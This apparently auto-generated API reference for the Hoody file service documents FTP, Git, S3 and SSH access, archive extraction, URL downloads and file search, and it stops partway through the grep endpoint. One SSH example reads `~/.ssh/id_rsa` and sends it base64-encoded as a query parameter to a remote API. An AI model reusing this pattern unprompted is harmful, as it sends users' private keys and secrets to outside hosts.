**Page:** api/files/backend-connections

[Download Raw Markdown](./api/files/backend-connections.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Backend Connections API provides direct, on-demand access to files stored on remote systems without requiring a persistent mount. Use these endpoints to read files from FTP, S3, SSH, and Git servers, upload files via SSH/SFTP, and manage basic authentication state.

## Remote Connections

### `GET /{path}?type=ftp`

Connect to an FTP or FTPS server and retrieve a file or directory listing.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Path to the file or directory on the remote server |
| `type` | query | string | Yes | Connection type. Must be `ftp` |
| `server` | query | string | Yes | FTP server hostname |
| `user` | query | string | No | FTP username. Default: `"anonymous"` |
| `pass` | query | string | No | FTP password |
| `ftp_secure` | query | boolean | No | Use FTPS (FTP over TLS). Default: `false` |
| `ftp_passive` | query | boolean | No | Use passive mode. Default: `true` |



```bash
curl -G "https://api.hoody.com/files/var/www/index.html" \
  --data-urlencode "type=ftp" \
  --data-urlencode "server=ftp.example.com" \
  --data-urlencode "user=admin" \
  --data-urlencode "pass=secret123" \
  --data-urlencode "ftp_secure=true" \
  --data-urlencode "ftp_passive=true"
```


```typescript
await client.files.ftp.access({
  path: "var/www/index.html",
  type: "ftp",
  server: "ftp.example.com",
  user: "admin",
  pass: "secret123",
  ftp_secure: true,
  ftp_passive: true
});
```


Returns the file content or directory listing for the requested path.



### `GET /{path}?type=git`

Fetch a file from a Git repository hosted on GitHub, GitLab, Bitbucket, or a custom Git server.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Path to the file inside the repository |
| `type` | query | string | Yes | Connection type. Must be `git` |
| `url` | query | string | Yes | Full GitHub/GitLab/Bitbucket URL or repository URL |
| `ref` | query | string | No | Branch, tag, or commit (defaults to HEAD or extracted from URL) |
| `pass` | query | string | No | Personal Access Token (base64 encoded) for private repos |



```bash
curl -G "https://api.hoody.com/files/src/index.js" \
  --data-urlencode "type=git" \
  --data-urlencode "url=https://github.com/hoody/platform" \
  --data-urlencode "ref=main"
```


```typescript
await client.files.git.fetch({
  path: "src/index.js",
  type: "git",
  url: "https://github.com/hoody/platform",
  ref: "main"
});
```


Returns the raw file content as `application/octet-stream` (binary).




The Git endpoint returns the raw file content as `application/octet-stream`. Use the `pass` parameter with a base64-encoded Personal Access Token to access private repositories.


### `GET /{path}?type=s3`

Access an object from AWS S3 or an S3-compatible storage service such as MinIO or DigitalOcean Spaces.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Object key or prefix on the S3 bucket |
| `type` | query | string | Yes | Connection type. Must be `s3` |
| `server` | query | string | Yes | S3 server hostname |
| `s3_bucket` | query | string | Yes | S3 bucket name |
| `s3_region` | query | string | Yes | AWS region (e.g. `us-east-1`) |
| `user` | query | string | No | AWS Access Key ID |
| `pass` | query | string | No | AWS Secret Key (base64 encoded) |
| `s3_endpoint` | query | string | No | Custom S3 endpoint for MinIO, etc. |



```bash
curl -G "https://api.hoody.com/files/documents/report.pdf" \
  --data-urlencode "type=s3" \
  --data-urlencode "server=s3.amazonaws.com" \
  --data-urlencode "s3_bucket=my-bucket" \
  --data-urlencode "s3_region=us-east-1" \
  --data-urlencode "user=AKIAIOSFODNN7EXAMPLE" \
  --data-urlencode "pass=c2VjcmV0S2V5"
```


```typescript
await client.files.s3.access({
  path: "documents/report.pdf",
  type: "s3",
  server: "s3.amazonaws.com",
  s3_bucket: "my-bucket",
  s3_region: "us-east-1",
  user: "AKIAIOSFODNN7EXAMPLE",
  pass: "c2VjcmV0S2V5"
});
```


Returns the object content or listing for the requested path.




Set `s3_endpoint` to a custom URL (e.g. `https://minio.example.com`) when connecting to S3-compatible services other than AWS.


### `GET /{path}?type=ssh`

Connect to a remote SSH server and retrieve a file or directory listing over SFTP.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Path to the file or directory on the remote server |
| `type` | query | string | Yes | Connection type. Must be `ssh` |
| `server` | query | string | Yes | Server hostname:port |
| `user` | query | string | Yes | SSH username |
| `pass` | query | string | No | Password (base64 encoded) |
| `key` | query | string | No | Private key PEM (base64 encoded) |
| `passphrase` | query | string | No | Key passphrase (base64 encoded) |



```bash
curl -G "https://api.hoody.com/files/etc/nginx/nginx.conf" \
  --data-urlencode "type=ssh" \
  --data-urlencode "server=server.example.com:22" \
  --data-urlencode "user=deploy" \
  --data-urlencode "key=$(base64 -w0 ~/.ssh/id_rsa)"
```


```typescript
await client.files.ssh.access({
  path: "etc/nginx/nginx.conf",
  type: "ssh",
  server: "server.example.com:22",
  user: "deploy",
  key: "LS0tLS1CRUdJTi...base64-encoded-pem..."
});
```


Returns the raw file content as `application/octet-stream` (binary).




All credential fields (`pass`, `key`, `passphrase`) must be base64-encoded. Provide either `pass` or `key`; supply `passphrase` only when the private key is encrypted.


### `PUT /{path}?type=ssh`

Upload a file to a remote SSH server over SFTP. The request body is sent as the file's raw content.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Destination path on the remote server |

#### Request Body

The request body is the raw file content uploaded as `application/octet-stream`. No additional fields are required.



```bash
curl -X PUT "https://api.hoody.com/files/var/www/index.html?type=ssh" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @./index.html
```


```typescript
await client.files.ssh.upload({
  path: "var/www/index.html"
});
```


File uploaded successfully.



## Authentication

### `CHECKAUTH /{path}`

Verify the current authentication status. Returns the authenticated username in the response body, or an empty string if not authenticated.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Path to the file or directory |



```bash
curl -X CHECKAUTH "https://api.hoody.com/files/index.html"
```


```typescript
const user = await client.files.authentication.checkAuth({
  path: "index.html"
});
```


```text
john.doe
```



### `LOGOUT /{path}`

Clear the current authentication credentials. The server responds with a `WWW-Authenticate` header that forces the client to discard stored credentials.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Path to the file or directory |



```bash
curl -X LOGOUT "https://api.hoody.com/files/index.html" -i
```


```typescript
await client.files.authentication.logout({
  path: "index.html"
});
```


Authentication cleared. The response includes a `WWW-Authenticate` header to force credential clearing in the client.




`CHECKAUTH` and `LOGOUT` are custom HTTP methods. Standard HTTP clients may require an explicit method override (e.g. `curl -X CHECKAUTH`) to invoke them.

---

# Directory Listing

**Page:** api/files/directories

[Download Raw Markdown](./api/files/directories.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The directory listing endpoints let you manage directories and work with archive files (ZIP, TAR, and compressed TAR variants). You can create new directories, extract archives either fully or selectively, preview archive contents without extraction, read individual files inside archives, download directories as ZIP, and monitor the status of in-progress and completed extractions.

## Directory Operations

### `MKCOL /{path}`

Create a new directory at the specified path. This uses the WebDAV `MKCOL` method.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Directory path to create |

This endpoint takes no request body.



The directory was created successfully. No body is returned.


```json
{
  "success": false,
  "error": "Directory creation is not allowed on this server"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `UPLOAD_FORBIDDEN` | Directory creation not allowed | Server is not configured to allow directory creation | Contact administrator to enable --allow-upload flag |
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | User account does not have write permissions for this path | Contact administrator for write permissions |


```json
{
  "success": false,
  "error": "Directory already exists at the specified path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DIRECTORY_EXISTS` | Directory already exists | A directory with this name already exists at the specified path | Choose a different name or delete the existing directory first |



#### SDK usage

```ts
await client.files.directories.create({ path: "projects/2024/reports" });
```

## Archive Extraction

### `GET /{archive}?extract`

Extract a ZIP, TAR, or compressed TAR archive to a destination directory. An empty `?extract` extracts the full archive; `?extract=&lt;path&gt;` extracts only entries matching the given path.


Supported formats include `zip`, `tar`, `tar.gz`, `tar.bz2`, and `tar.xz`.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `archive` | path | string | Yes | Path to the archive file |
| `extract` | query | string | Yes | Empty for full extraction; path for selective (e.g. `src/main.rs` or `lib/`) |
| `dest` | query | string | No | Destination directory name (default: archive name) |

This endpoint takes no request body.



```json
{
  "success": true,
  "message": "Archive extracted successfully",
  "extraction_id": "8f3a1c20-5b9d-4e7a-bf1e-2d8c6a4f0e9b",
  "destination": "extracted/project-v1.2.3",
  "extracted_files": 248,
  "extracted_bytes": 15728640,
  "selective": false,
  "selective_path": null,
  "error": null
}
```


```json
{
  "success": false,
  "message": "Invalid archive format",
  "extraction_id": "8f3a1c20-5b9d-4e7a-bf1e-2d8c6a4f0e9b",
  "destination": "",
  "extracted_files": 0,
  "extracted_bytes": 0,
  "selective": false,
  "selective_path": null,
  "error": "File is not a valid archive or format is unsupported"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ARCHIVE_FORMAT` | Invalid archive format | File is not a valid archive or format is unsupported | Verify file is a supported archive format (zip, tar, tar.gz, tar.bz2, tar.xz) |
| `ARCHIVE_TOO_LARGE` | Archive exceeds size limit | Archive total size exceeds configured maximum extraction size | Contact administrator to increase extraction size limit or extract manually |
| `TOO_MANY_FILES` | Too many files in archive | Archive contains more files than allowed maximum | Contact administrator to increase file count limit or extract in smaller batches |
| `ZIP_BOMB_DETECTED` | Potential zip bomb detected | Archive has suspicious compression ratio indicating potential zip bomb | Verify archive source is trusted, contact administrator if legitimate |
| `PATH_TRAVERSAL_BLOCKED` | Path traversal attempt blocked | Archive contains files attempting to escape extraction directory | Archive may be malicious, verify source and re-create archive without path traversal |


```json
{
  "success": false,
  "error": "Archive extraction is not enabled on this server"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `EXTRACTION_FORBIDDEN` | Extraction not allowed | Server is not configured to allow archive extraction | Contact administrator to enable --allow-extract flag |



#### SDK usage

```ts
// Full extraction
const result = await client.files.archives.extract({
  archive: "uploads/project-v1.2.3.zip",
  extract: "",
  dest: "project-v1.2.3"
});
```

### `GET /{archive}?extract_file`

Extract a single file or directory from inside a ZIP, TAR, or compressed TAR archive to a destination directory. Only the specified entry (and its children if a directory) is extracted; the rest of the archive remains untouched.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `archive` | path | string | Yes | Path to archive file |
| `extract` | query | string | Yes | Path of the file or directory inside the archive to extract (e.g. `src/main.rs` or `lib/`) |
| `dest` | query | string | No | Destination directory name (default: archive name) |

This endpoint takes no request body.



```json
{
  "success": true,
  "message": "Selective extraction completed",
  "extraction_id": "7b2d8e1f-3c4a-4f8e-9d1c-5a6b7c8d9e0f",
  "destination": "extracted/project-v1.2.3/src",
  "extracted_files": 42,
  "extracted_bytes": 524288,
  "selective": true,
  "selective_path": "src/",
  "error": null
}
```


```json
{
  "success": false,
  "message": "No matching entries",
  "extraction_id": "7b2d8e1f-3c4a-4f8e-9d1c-5a6b7c8d9e0f",
  "destination": "",
  "extracted_files": 0,
  "extracted_bytes": 0,
  "selective": true,
  "selective_path": "missing/path/",
  "error": "No entries matched the specified path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ARCHIVE_FORMAT` | Invalid archive format | File is not a valid archive or format is unsupported | Verify file is a supported archive format (zip, tar, tar.gz, tar.bz2, tar.xz) |
| `INVALID_SELECTIVE_PATH` | Invalid entry path | The entry path is invalid (empty, absolute, contains traversal, or null bytes) | Use a relative path without `..` components (e.g. `src/main.rs` or `lib/`) |
| `NO_MATCHING_ENTRIES` | No matching entries | No entries in the archive matched the specified path | Use the preview endpoint to list archive contents and verify the entry path |
| `PATH_TRAVERSAL_BLOCKED` | Path traversal attempt blocked | Archive contains files attempting to escape extraction directory | Archive may be malicious, verify source and re-create archive without path traversal |


```json
{
  "success": false,
  "error": "Archive extraction is not enabled on this server"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `EXTRACTION_FORBIDDEN` | Extraction not allowed | Server is not configured to allow archive extraction | Contact administrator to enable --allow-extract flag |


```json
{
  "success": false,
  "error": "Archive file not found"
}
```



#### SDK usage

```ts
const result = await client.files.archives.extractFile({
  archive: "uploads/project-v1.2.3.zip",
  extract: "src/main.rs",
  dest: "project-v1.2.3-src"
});
```

## Archive Inspection

### `GET /{archive}?preview`

List the contents of a ZIP, TAR, or compressed TAR archive without extracting it, or read a specific file from the archive. An empty `?preview` returns a JSON listing of all entries; `?preview=&lt;path&gt;` returns the raw content of that file.


The `?contents` query parameter is an alias for `?preview` and behaves identically.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `archive` | path | string | Yes | Path to archive file |
| `preview` | query | string | No | Empty value lists archive contents; non-empty value reads a specific file from the archive (alias: `?contents`) |
| `contents` | query | string | No | Alias for `?preview` |

This endpoint takes no request body.



```json
{
  "format": "zip",
  "total_files": 3,
  "total_size": 12500,
  "total_compressed_size": 4200,
  "entries": [
    {
      "path": "src/",
      "is_dir": true,
      "size": 0,
      "compressed_size": 0,
      "modified_time": 1699900000
    },
    {
      "path": "src/main.rs",
      "is_dir": false,
      "size": 8500,
      "compressed_size": 2800,
      "modified_time": 1699900000
    },
    {
      "path": "README.md",
      "is_dir": false,
      "size": 4000,
      "compressed_size": 1400,
      "modified_time": 1699900000
    }
  ]
}
```


```json
{
  "success": false,
  "error": "Corrupted archive"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ARCHIVE_FORMAT` | Invalid archive format | File is not a valid ZIP, TAR, or compressed TAR archive | Verify file is a valid archive and format is supported (zip, tar, tar.gz, tar.bz2, tar.xz) |
| `CORRUPTED_ARCHIVE` | Corrupted archive | Archive file is corrupted or incomplete | Re-download or re-upload the archive file |


```json
{
  "success": false,
  "error": "Archive entry is password-protected"
}
```


```json
{
  "success": false,
  "error": "Archive file or entry not found"
}
```


```json
{
  "success": false,
  "error": "File too large for preview (max 100MB)"
}
```



#### SDK usage

```ts
// List archive contents
const listing = await client.files.archives.preview({
  archive: "uploads/project-v1.2.3.zip"
});

// Read a specific file
const file = await client.files.archives.preview({
  archive: "uploads/project-v1.2.3.zip",
  preview: "README.md"
});
```

### `GET /{archive}?view_file`

Read and return a single file from inside a ZIP, TAR, or compressed TAR archive without extracting the entire archive. Returns the raw file content with an auto-detected MIME type.


Use this endpoint to inspect individual files inside an archive before deciding to extract the whole archive.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `archive` | path | string | Yes | Path to archive file |
| `preview` | query | string | Yes | Path of the file inside the archive to view (e.g. `src/main.rs` or `README.md`) |

This endpoint takes no request body.



The raw file content is returned as `application/octet-stream` (or the auto-detected MIME type) with the bytes of the requested file.


```json
{
  "success": false,
  "error": "Invalid entry path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ARCHIVE_FORMAT` | Invalid archive format | File is not a valid ZIP, TAR, or compressed TAR archive | Verify file is a valid archive and format is supported (zip, tar, tar.gz, tar.bz2, tar.xz) |
| `INVALID_SELECTIVE_PATH` | Invalid entry path | The entry path is invalid (empty, absolute, contains traversal, or null bytes) | Use a relative path without `..` components (e.g. `src/main.rs`) |


```json
{
  "success": false,
  "error": "Archive entry is password-protected"
}
```


```json
{
  "success": false,
  "error": "Archive file or entry not found"
}
```


```json
{
  "success": false,
  "error": "File too large for preview"
}
```



#### SDK usage

```ts
const content = await client.files.archives.viewFile({
  archive: "uploads/project-v1.2.3.zip",
  preview: "README.md"
});
```

## Archive Download

### `GET /{directory}?zip`

Create and download a directory as a ZIP archive.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `directory` | path | string | Yes | Path of the directory to download |
| `zip` | query | string | Yes | Empty literal value that triggers ZIP download |

This endpoint takes no request body.



The directory is returned as a binary `application/zip` stream.


```json
{
  "success": false,
  "error": "Archive download is not allowed on this server"
}
```



#### SDK usage

```ts
const zipBlob = await client.files.archives.downloadAsZip({
  directory: "projects/2024/reports"
});
```

## Extraction Status

### `GET /?extraction_history`

Get the history of past extractions, including both successful and failed operations.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `extraction_history` | query | string | Yes | Empty literal value that triggers the history listing |

This endpoint takes no request body.



```json
{
  "history": [
    {
      "id": "1f0c2a3b-4d5e-6f70-8192-a3b4c5d6e7f8",
      "archive_path": "uploads/project-v1.2.3.zip",
      "dest_path": "extracted/project-v1.2.3",
      "start_time": 1700000000,
      "end_time": 1700000045,
      "status": "completed",
      "total_files": 248,
      "total_bytes": 15728640,
      "extracted_files": 248,
      "extracted_bytes": 15728640,
      "selective": false,
      "selective_path": null,
      "error": null
    },
    {
      "id": "2a1b3c4d-5e6f-7081-92a3-b4c5d6e7f809",
      "archive_path": "uploads/dataset.zip",
      "dest_path": "extracted/dataset",
      "start_time": 1700000100,
      "end_time": 1700000120,
      "status": "failed",
      "total_files": 5000,
      "total_bytes": 209715200,
      "extracted_files": 1523,
      "extracted_bytes": 52428800,
      "selective": true,
      "selective_path": "data/2024/",
      "error": "ZIP_BOMB_DETECTED: suspicious compression ratio"
    }
  ]
}
```



#### SDK usage

```ts
const history = await client.files.archives.getHistory();
```

### `GET /?extractions`

Get the progress of currently running archive extractions for the requested file path.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `extractions` | query | string | Yes | Empty literal value that triggers the active extractions listing |

This endpoint takes no request body.



```json
{
  "extractions": [
    {
      "id": "3c4d5e6f-7081-92a3-b4c5d6e7f809",
      "archive_path": "uploads/large-dataset.zip",
      "dest_path": "extracted/large-dataset",
      "start_time": 1700000200,
      "status": "extracting",
      "extracted_files": 1523,
      "extracted_bytes": 52428800,
      "total_files": 5000,
      "total_bytes": 209715200,
      "percentage": 30.46,
      "selective": false,
      "selective_path": null
    }
  ]
}
```



#### SDK usage

```ts
const active = await client.files.archives.listActive();
```

### `GET /api/v1/extractions`

Get the progress of currently running archive extractions across the entire system.

This endpoint takes no parameters.

This endpoint takes no request body.



```json
{
  "extractions": [
    {
      "id": "4d5e6f70-8192-a3b4-c5d6e7f80910",
      "archive_path": "uploads/large-dataset.zip",
      "dest_path": "extracted/large-dataset",
      "start_time": 1700000200,
      "status": "extracting",
      "extracted_files": 1523,
      "extracted_bytes": 52428800,
      "total_files": 5000,
      "total_bytes": 209715200,
      "percentage": 30.46,
      "selective": false,
      "selective_path": null
    }
  ]
}
```



#### SDK usage

```ts
const active = await client.files.archives.listGlobal();
```

---

# Downloading Files

**Page:** api/files/downloading

[Download Raw Markdown](./api/files/downloading.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Downloading Files

Download files from remote URLs and track their progress. These endpoints let you initiate downloads, monitor active transfers, and review past download history.

## Download from URL

### `GET /{directory}?download`

Initiates a download from a remote URL to the specified directory on the server. The download runs asynchronously and returns a `download_id` you can use to track progress via the active downloads endpoint.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `directory` | path | string | Yes | Destination directory |
| `download` | query | string | Yes | URL to download from |
| `filename` | query | string | No | Custom filename for downloaded file |
| `timeout` | query | integer | No | Download timeout in seconds (default: `300`) |



```bash
curl -X GET "https://api.example.com/Downloads?download=https%3A%2F%2Ffiles.example.com%2Fdata.csv" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.files.downloads.fetch({
  directory: "Downloads",
  download: "https://files.example.com/data.csv",
  filename: "renamed-data.csv",
  timeout: 600
});
```


```json
{
  "download_id": "7a3f8b12-4d5e-4a1b-9c8f-2e6d7f8a9b0c",
  "filename": "renamed-data.csv",
  "path": "Downloads/renamed-data.csv",
  "success": true,
  "message": "Download started",
  "error": null
}
```


```json
{
  "download_id": "7a3f8b12-4d5e-4a1b-9c8f-2e6d7f8a9b0c",
  "filename": "data.csv",
  "path": "Downloads/data.csv",
  "success": false,
  "message": "Download failed",
  "error": "INVALID_URL"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_URL` | Invalid URL | The provided URL is malformed or invalid | Verify URL format is correct and includes protocol (http:// or https://) |
| `DOMAIN_BLOCKED` | Domain not allowed | This domain is blocked by server's download domain restrictions | Contact administrator to whitelist this domain or use allowed domains |
| `DOWNLOAD_TIMEOUT` | Download timeout | Download exceeded the configured timeout period | Try again with longer timeout or check network connectivity |
| `REMOTE_FILE_NOT_FOUND` | Remote file not found | The URL returned 404 Not Found | Verify the URL is correct and the file exists |
| `NETWORK_ERROR` | Network error | Failed to connect to remote server or download was interrupted | Check network connectivity and try again |


```json
{
  "success": false,
  "error": "DOWNLOAD_FORBIDDEN"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DOWNLOAD_FORBIDDEN` | Download operation not allowed | Server is not configured to allow downloading from URLs | Contact administrator to enable --allow-download flag |




The server must be started with the `--allow-download` flag for downloads to be permitted. Contact your administrator if you receive a `DOWNLOAD_FORBIDDEN` error.


## List Active Downloads (Directory)

### `GET /{directory}?downloads`

Returns progress information for downloads currently running in the specified directory.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `directory` | path | string | Yes | Directory to check for active downloads |
| `downloads` | query | string | Yes | Pass an empty string to list active downloads |



```bash
curl -X GET "https://api.example.com/Downloads?downloads=" \
  -H "Authorization: Bearer <token>"
```


```ts
const active = await client.files.downloads.listActive({
  directory: "Downloads",
  downloads: ""
});
```


```json
{
  "downloads": [
    {
      "id": "7a3f8b12-4d5e-4a1b-9c8f-2e6d7f8a9b0c",
      "filename": "dataset.zip",
      "file_path": "Downloads/dataset.zip",
      "directory": "Downloads",
      "url": "https://files.example.com/dataset.zip",
      "status": "downloading",
      "current_size": 52428800,
      "expected_size": 104857600,
      "progress_percentage": 50.0,
      "start_time": 1700000000
    }
  ]
}
```



## List Active Downloads (Global)

### `GET /api/v1/downloads`

Returns progress information for all downloads currently running on the server, across every directory.

This endpoint takes no parameters.



```bash
curl -X GET "https://api.example.com/api/v1/downloads" \
  -H "Authorization: Bearer <token>"
```


```ts
const active = await client.files.downloads.listGlobal();
```


```json
{
  "downloads": [
    {
      "id": "7a3f8b12-4d5e-4a1b-9c8f-2e6d7f8a9b0c",
      "filename": "dataset.zip",
      "file_path": "Downloads/dataset.zip",
      "directory": "Downloads",
      "url": "https://files.example.com/dataset.zip",
      "status": "downloading",
      "current_size": 52428800,
      "expected_size": 104857600,
      "progress_percentage": 50.0,
      "start_time": 1700000000
    },
    {
      "id": "8b4c9d23-5e6f-5b2c-ad90-3f7e8a9b0c1d",
      "filename": "report.pdf",
      "file_path": "Documents/report.pdf",
      "directory": "Documents",
      "url": "https://docs.example.com/report.pdf",
      "status": "starting",
      "current_size": 0,
      "expected_size": null,
      "progress_percentage": null,
      "start_time": 1700000050
    }
  ]
}
```



## Download History

### `GET /?download_history`

Returns a history of past downloads, including both completed and failed transfers.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `download_history` | query | string | Yes | Pass an empty string to retrieve download history |



```bash
curl -X GET "https://api.example.com/?download_history=" \
  -H "Authorization: Bearer <token>"
```


```ts
const history = await client.files.downloads.getHistory();
```


```json
{
  "history": [
    {
      "id": "7a3f8b12-4d5e-4a1b-9c8f-2e6d7f8a9b0c",
      "filename": "dataset.zip",
      "file_path": "Downloads/dataset.zip",
      "directory": "Downloads",
      "url": "https://files.example.com/dataset.zip",
      "status": "completed",
      "total_bytes": 104857600,
      "start_time": 1700000000,
      "end_time": 1700000030,
      "error": null
    },
    {
      "id": "9c5d0e34-6f70-6c3d-be01-4a8f9b0c1d2e",
      "filename": "missing.csv",
      "file_path": "Downloads/missing.csv",
      "directory": "Downloads",
      "url": "https://files.example.com/missing.csv",
      "status": "failed",
      "total_bytes": null,
      "start_time": 1700000100,
      "end_time": 1700000105,
      "error": "REMOTE_FILE_NOT_FOUND"
    }
  ]
}
```

---

# File Operations

**Page:** api/files/file-operations

[Download Raw Markdown](./api/files/file-operations.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



File operations provide a comprehensive set of endpoints for managing files and directories — uploading, modifying, deleting, searching, and inspecting them. Use these endpoints to integrate file management directly into your applications, with support for both local storage and remote cloud backends.

## Searching & Discovery

### `GET /{directory}?q`

Search for files matching a query string. Returns HTML by default, or JSON when `?json` is supplied. Matches are case-insensitive filename matches.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `directory` | path | string | Yes | Directory to search within |
| `q` | query | string | Yes | Search query (case-insensitive filename match) |
| `json` | query | string | No | Return JSON format instead of HTML |



```bash
curl -X GET "https://api.example.com/documents?q=report&json"
```


```typescript
const results = await client.files.search({
  directory: "documents",
  q: "report",
  json: ""
});
```


```json
{
  "allow_archive": true,
  "allow_delete": true,
  "allow_search": true,
  "allow_upload": true,
  "auth": true,
  "dir_exists": true,
  "href": "/documents",
  "kind": "Index",
  "paths": [
    {
      "mtime": 1718400000000,
      "name": "Q2-report.pdf",
      "path_type": "File",
      "revisions": 3,
      "size": 248320
    },
    {
      "mtime": 1718313600000,
      "name": "monthly-reports",
      "path_type": "Dir",
      "revisions": null,
      "size": 12
    }
  ],
  "uri_prefix": "/documents/",
  "user": "user@example.com"
}
```


```json
{
  "error": "Search is not enabled on this server",
  "success": false
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SEARCH_FORBIDDEN` | Search operation not allowed | Server is not configured to allow file searching | Contact administrator to enable --allow-search flag |
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | User account does not have search permissions for this path | Contact administrator for search permissions or authenticate with different account |



### `GET /{image}?thumbnail`

Process and convert images on the fly. Supports JPEG, PNG, WebP, GIF, and BMP input/output, with resizing, quality control, blur, grayscale, and background color options. Works for both local files and all 60+ remote cloud storage backends.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `image` | path | string | Yes | Path to image file |
| `thumbnail` | query | string | Yes | Enable image processing |
| `format` | query | string | No | Output format (default: `jpeg`) — one of `jpeg`, `png`, `webp`, `gif`, `bmp` |
| `size` | query | string | No | Width×Height in pixels (max: 2000×2000) |
| `width` | query | integer | No | Width in pixels (height auto-calculated) |
| `height` | query | integer | No | Height in pixels (width auto-calculated) |
| `resize` | query | string | No | Resize mode: `fit` (preserve aspect, fit within), `fill` (exact size, crop), `cover` (cover area), `exact` (force dimensions) — default: `fit` |
| `quality` | query | string | No | Resize algorithm quality: `low` (box filter), `medium` (bilinear), `high` (Lanczos3) — default: `medium` |
| `q` | query | integer | No | JPEG/WebP quality (1-100, higher is better quality) — default: `85` |
| `blur` | query | number | No | Gaussian blur radius (0-50) |
| `grayscale` | query | string | No | Convert to grayscale/black-and-white |
| `bg` | query | string | No | Background color for transparency (hex RGB, e.g., `ffffff` for white) |



```bash
curl -X GET "https://api.example.com/photos/landscape.png?thumbnail=&width=800&format=webp&q=80" \
  -o landscape-800.webp
```


```typescript
const image = await client.files.images.process({
  image: "photos/landscape.png",
  thumbnail: "",
  format: "webp",
  width: 800,
  q: 80
});
```


```json
{
  "description": "Processed image returned as binary data with Content-Type matching the requested format. Cache-Control: public, max-age=3600"
}
```


```json
{
  "error": "Unsupported image format",
  "success": false
}
```



### `GET /api/v1/files/glob/{path}`

Find files and directories matching a glob pattern. Supports recursive patterns (`**/*.rs`), brace expansion (`{ts,tsx}`), character classes `[a-z]`, and standard wildcards (`*`). Returns file metadata sorted by modification time (newest first) by default. Respects `.gitignore` by default.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | Directory path to search within |
| `pattern` | query | string | Yes | Glob pattern (e.g. `**/*.rs`, `src/**/*.{ts,tsx}`, `*.md`) |
| `max_results` | query | integer | No | Maximum entries to return — default: `1000` |
| `max_depth` | query | integer | No | Maximum directory recursion depth — default: `50` |
| `max_files_scanned` | query | integer | No | Maximum filesystem entries to scan — default: `100000` |
| `timeout` | query | integer | No | Search timeout in seconds — default: `30` |
| `no_ignore` | query | boolean | No | Bypass `.gitignore` filtering — default: `false` |
| `sort` | query | string | No | Sort results by: `mtime` (modification time), `name`, or `size` — default: `mtime` |
| `order` | query | string | No | Sort order. Default: `desc` for mtime, `asc` for name/size — one of `asc`, `desc` |



```bash
curl -X GET "https://api.example.com/api/v1/files/glob/src?pattern=**/*.ts&max_results=50"
```


```typescript
const results = await client.files.glob({
  path: "src",
  pattern: "**/*.ts",
  max_results: 50
});
```


```json
{
  "count": 2,
  "duration_ms": 47,
  "entries": [
    {
      "is_dir": false,
      "modified": 1718400000,
      "name": "src/index.ts",
      "size": 1842
    },
    {
      "is_dir": false,
      "modified": 1718313600,
      "name": "src/utils/helpers.ts",
      "size": 4096
    }
  ],
  "path": "src",
  "pattern": "**/*.ts",
  "total_scanned": 128,
  "truncated": false
}
```


```json
{
  "error": "Invalid glob pattern",
  "success": false
}
```


```json
{
  "error": "Search is not enabled on this server",
  "success": false
}
```


```json
{
  "error": "Path not found",
  "success": false
}
```


```json
{
  "error": "Too many concurrent searches",
  "success": false
}
```



### `GET /api/v1/files/grep/{path}`

Search file or directory contents using regex patterns. Powered by ripgrep with `.gitignore` support, binary file detection, and configurable limits. Returns matching lines with optional context.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path to search |
